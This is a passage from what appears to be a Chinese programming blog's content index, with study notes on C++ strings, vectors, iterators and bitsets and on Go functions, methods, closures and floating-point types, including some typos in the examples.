long)具有相同的含义,而且可以保证足够大能够存储任意string对象的长度。未来使用由string类型定义的size_type类型,程序员必须加上作用域操作符来说明使用的size_type类型是由string类定义的。\n\n注意:任何存储string的size操作结果的变量必须为string::size_type类型。\n\n3.string关系操作符\nstring类定义了几种关系操作符用来比较两个string值的大小。这些操作符实际上是比较每个string对象的字符。\n\nstring对象比较操作是区分大小写的,即同一个字符的大小写形式被认为是两个不同的字符。在多数计算机上,大写的字符位于小写字母之前:任何一个大写字母都小于任意的小写字母。\n\n==操作符比较两个string对象,如果它们相等,则返回true。两个string对象相等是指它们的长度相同,且含有相同的字符。标准库还定义了!=操作符来测试两个string对象是否不等。\n关系操作符<,<=,>,>分别用于测试一个string对象是否小于、小于或等于、大于、大于或等于另一个string对象:\nstring big="big",small="small";string s1=big;if(big==small)if(big<=s1)\n\n关系操作符比较两个string对象时采用了和(大小写敏感的)字典排序相同的策略;\n\n如果两个string对象长度不同,且短的string对象与长的string对象的前面部分相匹配,则短的string对象小于长的string对象。\n如果两个string对象的字符不同,则比较第一个不匹配的字符。string substr="hello";string phrase="hello world";string slang="hiya";\n则substr小于phrase,而slang则大于substr或phrase。\n\n4.string对象的赋值\nstring对象,可以把一个string对象赋值给另一个string对象:\nstring str1,str2="the expense of spirit";str1=str2;\n\n5.两个string对象相加\nstring对象的加法被定义为连接(concatenation)。也就是说,两个(或多个)string对象可以通过使用加操作符+或者复合赋值操作符+=连接起来。给定两个string对象:\nstring s1("hello,");string s2("world\\n");string s3=s1+s2;s1+=s2;\n\n6.和字符串字面值的连接\n上面的字符对象s1和s2直接包含了标点符号。也可以通过将string对象和字符串字面值混合得到同样的结果:\nstring s1("hello");string s2("world");string s3=s1+","+s2+"\\n";\n当进行string对象和字符串字面值混合连接操作时,+操作符的左右操作数必须至少有一个是string类型的:\nstring s5=s1+","+"world";string s6="hello"+","+s2;\n\n7.从string对象获取字符string类型通过下标操作符([])来访问string对象中的单个字符。下标操作符需要取一个size_type类型的值,来标明要访问的位置。这个下标中的值通常被称为 “下标” 或 “索引(index)”。\n\n注解:string对象的下标从0开始。如果s是一个string对象且s不空,则s[0]就是字符串的第一个字符,s[1]就表示第二个字符(如果有的话),而s[s.size()-1]则表示s的最后一个字符。引用下标时如果超出下标作用范围就会引起溢出错误。\n\nstring s("hello world");for(string::size_type n=0;n!=s.size();n++){ cout<<s[n]<<endl;}\n\n8.下标操作可用作左值\n和变量一样,string对象的下标操作返回值也是左值。因此,下标操作可以放于赋值操作符的左边或右边。通过下面循环把str对象的每一个字符置为*:\n9.计算下标值\n任何可产生整型值的表达式都可用作下标操作符的索引。\nstr[someotherval*someval]=someval;\n虽然任何整型数值都可作为索引,但索引的实际数据类型却是unsigned类型string::size_type。\n\n建议:前面讲过,一个用string::size_type类型的变量接受size函数的返回值。在定义用作索引的比哪里时,出于同样的道理,string对象的索引变量最好也用string::size_type类型。\n\n在使用下标索引string对象时,必须保证索引值 “在上下界范围内”。“在上下界范围内” 就是指索引值是一个赋值为size_type类型的值,其取值范围在0到string对象长度减1之间。使用string::size_type类型或其他unsigned类型作为索引,就可以保证索引值不小于0,只要索引值是unsigned类型,就只需要检测它是否小于string对象的长度。\n\n注意:标准库不要去检查索引值,所用索引的下标越界是没有定义的,这样往往会导致严重的运行时错误。\n\nstring对象中字符的处理适用于string对象的字符(或其它char值)。\n这些函数都在cctype头文件中定义。\n\n\n\n\ncctype定义的函数\n\n\n\nisalnum(c)\n如果c是字母或数字,则为true。\n\n\nisalpha(c)\n如果c是字母,则为true。\n\n\niscntrl(c)\n如果c是控制字符,则为true。\n\n\nisdigit(c)\n如果c是数字,则为true。\n\n\nisgraph(c)\n如果c不是空格,但可打印,则为true。\n\n\nisprint(c)\n如果c是可打印的字符,则为true。\n\n\nispunct(c)\n如果c是标点符号,则为true。\n\n\nisspace(c)\n如果c是空白字符,则为true。\n\n\nisupper(c)\n如果c是大写字母,则为true。\n\n\nisxdigit(c)\n如果c是十六进制数,则为true。\n\n\ntolower(c)\n如果c是大写字母,则返回其小写字母形式,否则之间返回c。\n\n\ntoupper(c)\n如果c是小写字母,则返回其大写字母形式,否则之间返回c。\n\n\n表中的大部分函数是测试一个给定的字符是否符号条件,并返回一个int值作为真值。如果测试失败,则该函数返回0,否则返回一个(无意义的)非0值,表示被测字符符号条件。\n表中的这些函数,可打印的字符是指那些可用显示表示的字符。空白字符则是空格、制表符、垂直制表符、回车符、换行符和进纸符的任意一种:标点符号则是除了数字、字母或(可打印的)空白字符(如空格)以外的其他可打印字符。\n和返回真值的函数不同的是,tolower和toupper函数返回的是字符,返回实参字符本身或返回该字符相应的大小写字符。我们可用使用\n标准库vector类型vector是同一种类型的对象的集合,每个对象都有一个对应的整数索引值。和string对象一样,标准库将负责管理与存储元素相关的内存。我们把vector称为容器,是因为它可以包含其他对象,一个容器中的所有对象都必须是同一种类型的。\n使用vector之前,必须包含相应的头文件。\n#include <vector>using std::vector;\n\nvector是一个类模板(class template)。使用模板可以编写一个类定义或函数定义,而用于多个不同的数据类型。因此,我们可以定义保存string对象的vector,或保存int值的vector,又或是保存自定义的类类型对象的vector。\n声明从类模板产生的某种类型的对象,需要提供附加信息,信息的种类取决于模板。以vector为例,必须说明vector保存何种对象的类型,通过将类型放在类模板名称后面的尖括号中来指定类型:\nvector<int> ivec;vector<Sales_item> Sqles_vec;\n和其他变量定义一样,定义vector对象要指定类型和一个变量的列表。上面的第一个定义,类型是vector<int>,该类型即是含有若干int类型对象的vector,变量名为ivec。第二个定义的变量名是Sales_vec,它保存的元素是Sales_item类型的对象。\n\n注意:vector不是一种数据类型,而只是一个类模板,可用来定义任意多种数据类型。vector类型的每一种都指定了其保存原始的类型。因此,vector<int>和vector<string>都是数据类型。\n\nvector对象的定义和初始化vector类定义了好几种构造函数,用来定义和初始化vector对象.\n\n\n\n\n几种初始化 vector 对象的方式\n\n\n\nvector<T> v1;\nvector保存类型为T的对象,默认构造函数,v1为空\n\n\nvector<T> v2(v1);\nv2 是 v1 的一个副本\n\n\nvector<T> v3(n,i);\nv3 包含 n 个值为 i 的元素\n\n\nvector<T> v4(n);\nv4 含有值初始化的元素的 n 个副本\n\n\n1.创建确定个数的元素\n若要创建非空的vector对象,必须给出初始化元素的值。当把一个vector对象复制到另一个vector对象时,新复制的vector中每一个元素都初始化为原vector中相应元素的副本。但这两个vector对象必须保存同一种元素类型:\nvector<int> ivec1;vector<int> ivec2(ivec1);vector<string> svec; //error\n可以用元素个数和元素值对vector对象进行初始化。构造函数用元素个数来决定vector对象保存元素的个数,元素值指定每个元素的初始值:\nvector<int> ivec4(10,-1);vector<int> svec(10,"hi!");\n\n\n关键概念:vector对象动态增长vector对象(以及其他标准库容器对象)的重要属性就在于可以在运行时高效地添加元素。\n\n\n注意:虽然可以对给定元素个数的vector对象预先分配内存,但更有效的方法是先初始化一个空vector对象,然后再动态地增加元素。\n\n2.值初始化\n如果没有指定元素的初始化式,那么标准库将自行提供一个元素初始值进行值初始化(value initializationd)。这个由库生成的初始值将用来初始化容器中的每个元素,具体值为何,取决于存储在vector中元素的数据类型。\n如果vector保存内置类型(如int型)的元素,那么标准库将用0值创建元素初始化式:\nvector<int> fvec(10);\n\n如果vector保存的是含有构造函数的类类型(如string)的元素,标准库将用该类型的默认构造函数创建元素初始化式:\nvector<string> svec(10);\n\n还有第三种可能性:元素类型可能是没有定义任何构造函数的类类型。这种情况下,标准库仍产生一个带初始值的对象,这个对象的每个成员进行了值初始化。\nvector对象的操作vector标准库提供了许多类似于string对象的操作,下表列出了几种最重要的vector操作。\n\n\n\n\nvector操作\n\n\n\nv.empty()\n如果 v 为空,则返回 true,否则返回 false。\n\n\nv.size()\n返回 v 中元素的个数。\n\n\nv.push_back(t)\n在 v 的末尾增加一个值为 t 的元素。\n\n\nv[n]\n返回 v 中位置为 n 的元素。\n\n\nv1=v2\n把 v1 的元素替换为 v2 中元素的副本。\n\n\nv1==v2\n如果 v1 与 v2 相等,则返回 false。\n\n\n!=, < , <=, >, >=\n保持这些操作符惯有的含义。\n\n\n1.vector对象的size\nempty和size操作类似于string类型的相关操作。成员函数size返回相应vector类定义的size_type的值。\n\n注解:使用size_type类型时,必须指出该类型是在哪里定义的。vector类型总是包括vector的元素类型:vector<int>::size_type\n\n2.向vector添加元素\npush_back()操作接受一个元素值,并将它作为一个新的元素添加到vector对象的后面,也就是 “插入(push)” 到vector对象的 “后面(back)”:\nstring word;vector<string> text;while(cin>>word){\ttest.push_back(word);}\n\n3.vector的下标操作\nvector中的对象是没有命名的,可以按vector中对象的位置来访问它们。通常使用下标操作符来获取元素。vector的下标操作类似于string类型的下标操作。\nvector的下标操作符接受一个值,并返回vector中该对应位置的元素。vector元素的位置从 0 开始。\nfor(vector<int>::size_type ix=0;ix!=ivec.size();ix++){\tivec[ix]=0;}\n和string类型的下标操作符一样,vector下标操作的结果作为左值,因此可以像循环体中所做的那样实现写入。另外,和string对象的下标操作类似,这里用size_type类型作为vector下标的类型。\n4.下标操作不添加元素\n初学C++的程序员可能会认为vector的下标操作符可以添加元素,其实不然:\nvector<int> ivec;for(vector<int>::size_type ix=0;ix!=10;ix++){\tivec[ix]=ix;}\n\n这里 ivec 是空的vector对象,而且下标只能用于获取已存在的元素。\n正确写法:\nfor(vector<int>::size_type ix=0;ix!=10;ix++){\tivec.push_back(ix);\n\n\n注意:必须是已存在的元素才能用下标操作符进行索引。通过下标操作进行赋值时,不会添加到任何元素。\n\n迭代器简介除了使用下标来访问vector对象的元素外,标准库还提供了另一种访问元素的方法:使用迭代器(iterator)。迭代器是一种检查容器内元素并遍历元素的数据类型。\n标准库为每一种标准容器(包括vector)定义了一种迭代器类型。迭代器类型提供了比下标操作更通用化的方法:所有的标准库容器都定义了相应的迭代器类型,而只有少数的容器支持下标操作。因为迭代器对所有的容器都适用,现代C++程序更倾向于适用迭代器而不是下标操作访问容器元素,即使对支持下标操作的vector类型也是这样。\n1.容器的 iterator类型\n每种容器类型都定义了自己的迭代器类型,如vector:\nvector<int>::iterator iter;\n这条语句定义了一个名为 iter 的变量,它的数据类型是由vector<int>定义的iterator类型。每个标准库容器类型都定义了一个名为iterator的成员,这里的iterator与迭代器实际类型的含义相同。\n2.begin和end操作\n每种容器都定义了一对名为begin和end的函数,用于返回迭代器。如果容器中有元素的化,由begin返回的迭代器指向第一个元素:\nvector<int>::iterator iter=ivec.begin();\n上述语句把 iter 初始化为名为begin的vector操作返回的值。假设vector不空,初始化后,iter即指该元素为ivec[0]。\n由end操作返回的迭代器指向vector的 “末端元素的下一个”。通常称为超出末端迭代器(off-the-end iterator),表明它指向了一个不存在的元素。如果vector为空,begin返回的迭代器与end返回的迭代器相同。\n\n注解:由end操作返回的迭代器并不指向vector中任何实际的元素,相反,它只是起一个哨兵(sentinel)的作用,表示我们已处理完vector中所有元素。\n\n3.vector迭代器的自增和引用运算\n迭代器类型定义了一些操作来获取迭代器所指向的元素,并允许程序员将迭代器从一个元素移动到另一个元素。\n迭代器类型可使用解引用操作符(*操作符)来访问迭代器所指向的元素:\n*iter=0;\n解引用操作符返回迭代器当前所指向的元素。假设iter指向vector对象ivec的第一个元素,那么*iter和ivec[0]就是指向同一个元素。上面这个语句的效果就是把这个元素的值赋为0;\n迭代器使用自增操作符向前移动迭代器指向容器中下一个元素。从逻辑上说,迭代器的自增操作和int型对象的自增操作类似。对int对象来说,操作结果就是把int型值 “加1”,而对迭代器对象则是把容器中的迭代器 “向前移动一个位置”。因此,如果iter指向第一个元素,则++iter指向第二个元素。\n\n注解:由于end操作返回的迭代器不这些任何元素,因此不能对它进行解引用或自增操作。\n\n4.迭代器的其他操作\n另一对可执行于迭代器的操作就是比较:用==或!=操作符来比较两个迭代器,如果两个迭代器对象指向同一个元素,则它们相等,否则就不相等。\n**5.迭代器应用的程序示例\n假设已声明了一个vector<int>型的ivec变量,要把它所有元素值重置为0,可以用下标操作来完成:\nfor(vector<int>::size_type ix=0;ix!=ivec.size();ix++)\tivec[ix]=0;\n\n用迭代器来编写循环:\nfor(vector<int>::iterator iter=ivec.begin();\t\t\titer!=ivec.end();iter++)\t*iter=0;\nfor循环首先定义了iter,并将它初始化为指向itec的第一个元素。for循环的条件测试itec是否于end操作返回的迭代器不等。每次迭代iter都自增1,这个for循环的效果是从ivec第一个元素开始,顺序处理vector中的每一个元素。最后,iter将指向ivec中的最好一个元素,处理完最好一个元素后,iter再增加1,就会与end操作的返回值相等,在这种情况下,循环终止。\nfor循环体内的语句用解引用操作符来访问当前元素的值。和下标操作符一样,解引用操作符的返回值是一个左值,因此可以对它进行赋值来改变它的值。上述循环的效果就是把ivec中所有元素都赋值为0。\n通过上述对代码的详细分析,可以看出这段程序与用下标操作符的版本达到相同的操作效果:从vector的第一个元素开始,把vector中每个元素都置为0.\n6.const_iterator\n前面的程序用vector::iterator改变vector中的元素值。每种容器类型还定义了一种名为const_iterator的类型,该类型只能用于读取容器内元素,但不能改变其值。\n当我们对普通iterator类型解引用时,得到对某个元素的非const引用。而如果我们对const_iterator类型解引用时,则可以得到一个指向const对象的引用,如同任何常量一样,该对象不能进行重写。\n例如,如果 text 是vector<string>类型,程序员想要遍历它,输出每个元素,可以这样编写程序:\nfor(vector<string>::const_iterator iter=text.begin();\t\titer!=test.end();iter++)\tcout<<*iter<<endl;\n\n\n\n迭代器的算术操作\n除了一次移动迭代器的一个元素的增量操作符外,wector迭代器(其他标准库容器迭代器很少)也支持其他的算术操作。这些操作称为迭代器算术操作(iterator arithmetic),包括:\n\niter+n\niter1-iter2\n\n\n注意:任何改变vector长度的操作都会使已存在的迭代器失效。例如,在调用push_back之后,就不能再信赖指向vector的迭代器的值了。\n\n标准库bitset类型有些程序要处理二进制位的有序集,每个位困难包含0(关)值或1(开)值。位是用来保存一组项或条件的yes/no信息(有时也称标志)的简洁方法。标准库提供的bitset类简化了位集的处理。要使用bitset类就必须包含相关的头文件。\n#include <bitset>using std::bitset;\n\nbitset对象的定义和初始化下标列出了bitset的构造函数。类似于vector,bitset类是一种类模板;而与vector不一样的是bitset类型对象的区别仅在于其长度而不在其类型。在定义bitset时,要明确bitset含有多少位,须在尖括号内给出它的长度值:\nbitset<32> bitvec; //32位,全为0\n给出的长度值必须是常量表达式。正如这里给出的,长度值必须定义为整型字面值常量或是已用常量值初始化的整型的const对象。\n这条语句把bitvec定义为含有32个位的bitset对象。喝vector的元素一样,bitset中的位是没有命名的,程序员只能按位置来访问它们。位集合的位置编码从0开始,因此,bitvec的位序是从0到31。以0位开始的位串是低阶位(low-order bit),以31位结束的位串是高阶位(high-order bit)。\n\n\n\n\n初始化bitset对象的方法\n\n\n\nbitset<n> b;\nb有n位,每位都为0\n\n\nbitset<n> b(u);\nb是unsigned long型u的一个副本\n\n\nbitset<n> b(s);\nb是string对象s中含有的位串的副本\n\n\nbitset<n> b(s,pos,n);\nb是s中从位置pos开始的n个位的副本\n\n\n1.用unsigned值初始化bitset对象\n当用unsigned long值作为bitset对象的初始值时,该值将转换为二进制的位模式。而bitset对象中的位集作为这种位模式的副本。如果bitset类型长度大于unsigned long值的二进制位数,则其余的高阶位将置为0;如果bitset类型长度小于unsigned long值的二进制位数,则只使用unsigned值中的低阶位,超过bitset类型长度的高阶位将被丢弃。\n在32位\n2.用string对象初始化bitset对象\n当用string对象初始化bitset对象时,string对象直接表示为位模式。从string对象读入位集的顺序是从右向左:\nstring strval("1100");bitset<32> bitvec4(strval);\nbitvec4的位模式中第2和3的位置为1,其余位置都为0。如果string对象的字符个数小于bitset类型的长度,则高阶位将置为0。\n\nstring对象和bitset对象之间是反向转化的:string对象的最右字符(即下标最低的哪个字符)用来初始化bitset对象的低阶位(即下标为0的位)。当用string对象初始化bitset对象时,记住这一差别很重要。\n\n不一定要把整个string对象都作为bitset对象的初始值。相反,可以只用某个子串作为初始值:\nstring str("1111111000000011001101");bitset<32> bitvec5(str,5,4);bitset<32> bitvec6(str,str.size()-4);\n\nbitset对象上的操作\n\n\n\nbitset操作\n\n\n\nb.any()\nb中是否存在置为1的二进制位?\n\n\nb.none()\nb中存在置为1的二进制位吗?\n\n\nb.count()\nb中置为1的二进制位的个数\n\n\nb.size()\nb中二进制位的个数\n\n\nb[pos]\n访问b中在pos处的二进制位\n\n\nb.test(pos)\nb中在pos处的二进制位是否为1?\n\n\nb.set()\n把b中所有二进制位置为1\n\n\nb.set(pos)\n把b中在pos处的二进制位置为1\n\n\nb.reset()\n把b中所有二进制位都置为0\n\n\nb.reset(pos)\n把b中在pos处的二进制位置为0\n\n\nb.flip()\n把b中所有二进制位诸位取反\n\n\nb.flip(pos)\n把b中在pos处的二进制位取反\n\n\nb.to_ulong()\n用b中同样的二进制位返回一个unsigned long值\n\n\nos<<b\n把b中的位集输出到os流\n\n\n1.测试整个bitset对象2.访问bitset对象中的位3.对整个bitset对象进行设置4.获取bitset对象的值5.输出二进制位6.使用位操作符\n","categories":["编程"],"tags":["Cpp"]},{"title":"Go chapter3","url":"/2024/10/25/program/go/go-chapter3/","content":"函数函数声明我们通过阅读标准库的包中声明的函数来学习如何声明函数。\n例如 rand 包中的 Intn 函数。\nrand 包中的 Intn 函数的声明如下:\nfunc Intn (n int) int\n\n下面是一个使用 Intn 函数的例子:\nnum := rand.Intn(10)\n\n下图标识了 Intn 函数声明的各个组成部分以及调用该函数的语法。关键字func告知 go 这是一个函数声明,之后跟着的是首字母大写的函数名 Intn。\n\n在 go 中,以大写字母开头的函数、变量以及其他标识符都会被导出并对其他包可用,反之则不然。\n\nIntn 函数接受单个形式参数(简称形参)作为输入,并且形参的两边用括号包围。形参的声明跟变量的声明一样,都是变量名在前,变量类型在后:\nvar n int\n\n在调用 Intn 函数时,整数 10 将作为单个的实际参数(简称实参)被传递,并且实参的两边也需要用括号包围。产生如单个实参正好符合 Intn 函数只有单个形参的预期,但如果我们以无实参方式调用函数,或者实参的类型不为 int,那么 go 编译器将报告一个错误。\n\n形参相当于占位符,实参就是占位符实际的内容。\n\nInit 函数在执行之后将返回一个 int 类型的伪随机整数作为结果。这个结果会被回传至调用者,然后用于初始化新声明的变量 num。\n虽然 Intn 函数只接受单个形参,但函数也可以通过以逗号分隔的列表来接受多个形参。 time 包中的 Unix 函数就接受两个 int64 形参,它们分别代表 1970年1月1日 以来经过的秒数和纳秒数。这个函数的声明是这样子的:\nfunc Unix(sec int64,nsec int64) Time\nUnix 函数将返回一个 Time 类型的结果。\n在声明函数的时候,如果多个形参用于相同的类型,那么我们只需要把这个类型写出来一次即可:\nfunc Unix(sec,nsec int64) Time\n\ngo 函数不仅能够接受多个形参,它还能够返回多个值。\n前面 strconv 包中的Atoi函数展示过这一特性——这个函数会尝试将给定的字符串转换为数值,然后返回两个值。\ncountdown,err := strconv.Atoi("10")\n\nstrconv 包的文档记录了Atoi函数的声明方式:\nfunc Atoi(s string) (i int,err error)\n\n跟函数的形参一样,函数的多个返回值也需要用括号包围,其中每个返回值的名字在前而类型在后。不过在声明函数的时候也可以把返回值的名字去掉,只保留类型:\nfunc Atoi(s string) (int,error)\n\n\n注意:error类型是内置的错误处理类型\n\n我们一直使用的 Println 函数是一个更为独特的函数,因为它不仅可用接受一个、两个甚至多个参数,而且这些形参的类型还可以各不相同,其中就包括整数和字符串:\nfmt.Println("Hello playground")fmt.Println(186,"seconds")\n\nPrintln 函数在文档中的声明看上去可能会显得有些古怪,因为它使用了我们尚未了解的特性:\nfunc Println(a...interface{})(n int,err error)\n我们可以向Println函数传递可变数量的实参,形参中的省略号...表明了这一点。Println用专门的术语来讲就是一个可变参数函数,而其中的形参 a 则代表传递给该函数的所有实参。\n另外需要注意的是,形参 a 的类型为interface{},也就是所谓的空接口类型。我们现在只需要知道这种特殊类型可以让Println函数接受int、float64、string、time.Time 以及其他任何类型的值作为参数而不会引发 go 编译器报错即可。\n通过写出...interface{}来组合使用可变参数函数和空接口,Println函数将能够接受任意多个任意类型的实参,这样它就可以完美地打印出我们传递给它的任何东西了。\n编写函数定义一个将开氏度转换至摄氏度的函数。\npackage mainimport "fmt"fnuc kelvinToCelsius(k float64)float64{\tk -= 273.15\treturn k}\n\n代码声明定义了一个函数。除此之外,函数还会通过关键字return,将一个float64类型的值返回给调用者。\n另外需要注意的是,在同一个包中声明的函数在调用彼此时不需要加上包名作为前缀。\n\n隔离是一件好事:代码清单中的函数与其他函数没有任何关系,它的唯一输入就是它接受的形参,而它的唯一输出就是它返回的结果。这个函数不会修改外部状态,也就是俗称的无副作用函数,这种函数最容易理解、测试和复用。\n\n方法声明新类型如下代码所示,关键字 type 可以通过一个名字和一个底层类型来声明新的类型。\ntype celsius float64var temperature celsius=20fmt.Println(temperature)\n\n因为数字字面量 20 跟其他数字字面量一样都是无类型常量,所以无论是int类型、flaot64类型或者其他任何数字类型的变量,都可以将这个字面量用作值。\ntype celsius float64const degrees=20var temperature celsius=degreestmeperature+=10\n虽然 celsius 类型跟它的底层类型 float64 具有相同的行为,但因为 celsius 是一种独特的类型而非类型别名,所以尝试把 celsius 和 float64 放在一起将引发类型不匹配错误。\n通过自定义新类型能够极大地提高代码的可读性和可靠性。\ntype celsius float64type fahrenheit float64var c celsius=20var f fahrenheit=20if c==f {//无效操作}c+=f//无效操作,类型不匹配\n\n引入自定义类型在声明新类型之后,你就可以像使用int、float64、string 等预声明 go 类型那样,将新类型应用到包括函数形参和返回值在内的各种地方,代码清单展示的就是一个例子:\nimport "fmt"type celsius float64type kelvin float64func kelvinToCelsius(k kelvin) celsius{\treturn celsius(k-273.15)//类型转换是必需的}func main(){\tvar k kelvin=294.0//实参必须为kelvin类型\tc := kelvinToCelsius(k)\tfmt.Print(k,"K is",c,"C")}\n\nkelvinToCelsius 函数只接受 Kelvin 类型的实参,这有助于避免不合理的错误。它不会接受类型错误的实参,如 fahrenheit、kilometers 甚至是 flaot64。不过因为go 是一门实用的语言,所以它仍然接受字面量或者无类型常量作为实参,这样你就可以编写 kelvinToCelsius(294) 而不是 kelvinToCelsius(kelvin(294))了。\n另外需要注意的是,因为 kelvinToCelsius 接受的是 kelvin类型的实参,但是返回的是 celsius 类型的值,所以它在返回计算结果之前必须先将返回值的类型转换为 celsius 类型。\n通过方法给类型添加行为传统的面向对象语言总是说方法属于类,但 go 不是这样做的:它提供了方法,但是并没有提供类和对象。\n使用 kelvinToCelsius、celssiusToFahrenheit、fahrenheitToCelsius、celsiuToKelvin 这样的函数虽然也能够完成温度转换工作,但是通过声明相应的方法并把它们放置属于自己的地方,能够让温度转换代码变得更加简洁明了。\n我们可以将方法与同一个包中声明的任何类型相关联,但是不能为int和float64之类的预声明类型关联方法。其中,声明类型的方法在前面已经介绍过了:\ntype kelvin flaot64\nkelvin 类型跟它的底层类型float64具有相同的行为,我们可以像处理浮点数那样,对 kelvin 类型的值执行加法运算、乘法运算以及其他操作。此外声明一个将 kelvin转换为 celsius 的方法就跟声明一个具有同等作用的函数一样简单——它们都以关键字 func 开头,并且函数体跟方法体完全一样:\n//kevinToCelsius函数func kevinToCelsius(k kelvin) celsius{\treturn celsius(k-273.15)}//kelvin类型的celsius方法func (k kelvin) celsius() celsius{\treturn celsius(k-273.15)}\ncelsius 方法虽然没有接受任何形参,但它的名字前面却有一个类似形参的接收者。每个方法和函数都可以接受多个形参,但一个方法必须并且只能有一个接收者。在 clesius 方法体中,接收者的行为就跟其他形参一样。除声明语法有些许不同之外,调用方法的语法与调用函数的语法也不一样:\nvar k kelvin=294.0var c celsiusc = kelvinToCelsius(k)//调用 kevinToCelsius函数c = k.celsius()//调用 celsius 方法\n跟调用其他包中的函数一样,调用方法也需要用到点记号。以上面的代码为例,在调用方法的时候,程序首先需要给出正确类型的变量,接着是一个点号,最后才是被调用方法的名字。\n在同一个包里面,如果一个名字已经被函数占用了,那么这个包就无法再定义同名的类型,因此在使用函数的情况下,我们将无法使用 celsius 函数返回 celsius 类型的值。然而,如果我们使用的是方法,那么每种温度类型都可以具有自己的 celsius方法,就像如下代码一样。\ntype fatrenheit float64//celsius 方法会将华氏度转换为摄氏度func (f fahrenheit) celsius() clesius{\treturn celsius((f-32.0)*5.0/9.0)}\n通过让每种温度类型都具有相应的 celsius 方法以转换为摄氏度,我们可以创造出一种完美的对称。\n一等函数将函数赋值给变量package mainimport ( "fmt" "math/rand")type kelvin float64func fakeSensor() kelvin{ return kelvin(rand.Intn(151)+150)}func realSensor() kelvin{ return 0}func main(){ //将函数赋值给变量后,以调用函数的形式调用变量即调用赋值的函数 sensor := fakeSensor fmt.Println(sensor()) sensor =realSensor fmt.Println(sensor())}\n在这段代码中,变量 sensor 的值是函数本身,而不是调用函数获得的结果。正如之前所述,无论是调用函数还是方法,都需要像 fakeSensor() 这样用到圆括号,但这次的程序在赋值的时候并没有这样做。\n\n注意:代码清单之所以能够将 realSensor 函数重新赋值给 sensor 变量,是因为 realSensor 与 fakeSensor 具有相同的函数签名。换句话说,这两个函数具有相同数量和相同类型的形参以及返回值。\n\n现在,无论赋值给 sensor 变量的是 fakeSensor 函数还是 realSensor 函数,程序都可以通过调用 sensor() 来实际地调用它。\nsensor 变量的类型是函数,具体来说就是一个不接受任何形参并且只返回一个 kelvin 值的函数。在不使用类型推断的情况下,我们需要为这个变量设置以下声明:\n//变量为返回值为kelvin类型的函数var sensor func() kelvinsensor = fakeSensorfmt.Println(sensor())\n\n\n将函数传递给其他函数因为变量既可以指向函数,又可以作为参数传递给函数,所以我们同样可以在 go 里面将函数传递给其他函数。\n为了记录每秒的温度数据,\npackage mainimport (\t"fmt"\t"math/rand"\t"time")type kelvin float64func measureTemperature(samples int,seesor func() kelvin){//接受另一个函数作为它的第二个参数\tfor i:=0;i<samples;i++{\t\tk:=sensor()\t\tfmt.Printf("%v K\\n",k)\t\ttime.Sleep(time.Second)\t}}func fakeSensor() kelvin{\treturn kelvin(rand.Intn(151)+150)}func main(){\tmeasureTemperature(3,fakeSensor)//把函数的名字传递给另一个函数}\n这种传递函数的能力是一种非常强大的代码拆分手段。如果 go 不支持一等函数,那么我们就必须写出两个代码相差无几的函数了。\nmeasureTemperature 函数接受两个形参,其中第二个形参的类型为 func() kelvin,这一声明与相同类型的变量声明非常相似:\nvar sensor func() kelvin\n\n\n声明函数类型为函数声明新的类型有助于精简和明确调用者的代码。\n在前面的几章中,我们就尝试了使用 kelvin 类型而不是底层表示来代表温度单位,同样的方法也可以应用于被传递的函数:\ntype sensor func() kelvin\n跟不接受任何形参并且只返回一个 kelvin 值的函数这一模糊的概念相比,现在代码可以通过 sensor 类型来确定地声明一个传感器函数。通过 sensor 类型还能够有效地精简代码,使函数声明\nfunc measureTemperature(samples int,s func() kelvin)\n能够改写为\nfunc measureTemperature(samples int,s sensor)\n在这个简单的例子中,使用 sensor 类型看上去作用不大,毕竟人们在阅读代码的时候还是得看一眼 sensor 类型的声明才能够知道代码的具体行为。但如果 sensor 在多个地方都出现过,或者函数类型需要接受多个形参,那么使用函数类型将能够有效地减少混乱。\n闭包和匿名类型匿名函数也就是没有名字的函数,在 go 中也被称为函数字面量。跟普通函数不一样的是,因为函数字面量需要保留外部作用域的变量引用,所以函数字面量都是闭包的。\npackage mainimport ( "fmt")//将匿名函数赋值给变量var f =func(){ fmt.Println("Dress up for the masquerade.")}//执行匿名函数func main(){ f()}\n 我们甚至还可以将声明匿名函数和调用匿名函数整合到一个步骤里面执行,就像代码清单所示的那样。\npackage mainimport "fmt"func main(){ func(){//声明匿名函数\t fmt.Println("Functions anonymous") }()//调用匿名函数}\n匿名函数适用于各种需要动态创建函数的情景,从函数里面返回另一个函数就是其中之一。虽然函数也可以返回已存在的具名函数,达能声明并返回全新的匿名函数无疑会更为有用。\npackage mainimport ( "fmt")type kelvin flaot64//sensor函数类型type sensor func() kelvinfunc realSensor() kelvin{ return 0//代办事项实现真正的传感器}func calibrate(s sensor,offset kelvin) sensor{ return func() kelvin{//声明并返回匿名函数 return s()+offset }}func main(){ sensor := calibrate(realSensor,5) fmt.Println(sensor())//打印出5}\n值得一提的是,代码清单中的匿名函数利用了闭包特性,它引用了被 calibrate 函数用作形参的 s 变量和 offset 变量。尽管 calibrate 函数已经返回了,但是被闭包捕获的变量将继续存在,因此调用 sensor 仍然能够访问这两个变量。术语闭包就是由于匿名函数封闭并包围作用域中 的变量而得名的。\n另外需要注意的是,因为闭包保留的是周围变量的引用而不是副本值,所以修改被闭包捕获的变量可能会导致调用匿名函数的结果发生变化。\nvar k kelvin = 294.0sensor := func() kelvin{\treturn k}fmt.Println(sensor())//打印出294k++fmt.Println(sensor())//打印出295\n请务必牢记这一点,特别是当你在for循环中使用闭包的时候。\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Go chapter2","url":"/2024/10/25/program/go/go-chapter2/","content":"实数声明浮点类型变量每个变量都有与之相关联的类型,其中声明和初始化实数变量就需要用到浮点类型。\n以下代码具有相同的作用,即使我们不为days变量指定类型,go编译器也会根据给定值推断出该变量的类型\ndays :=365.2425var days=265.2425var days float64=365.2425\n\n在go语言中,所有带小数点的数字在默认情况下都会被设置为float64类型\n\n如果使用整数去初始化一个变量,匿名go语言只有在显式地指定浮点类型的情况下,才会将其声明为浮点类型变量\nvar days float64=30\n\n单精度浮点型go 语言拥有两种浮点类型,其中默认的浮点类型为 float64,每个 64 位的浮点数需要占用 8 字节内存,很多语言都使用术语双精度浮点数来描述这种浮点数。\ngo语言的另一个浮点类型是 float32 类型,又称单精度浮点数,它占用的内存只有 float64 的一半,但它提供的精度不如 float64 高。为了使用 float32 浮点数,必须在声明变量时指定变量类型。\n//使用math包中定义的值var p64=math.Pivar p32 float64=math.Pifmt.Println(p64)fmt.Println(p32)//运行结果3.1415926535897933.1415927\n\nmath 包中函数处理的都是 float64 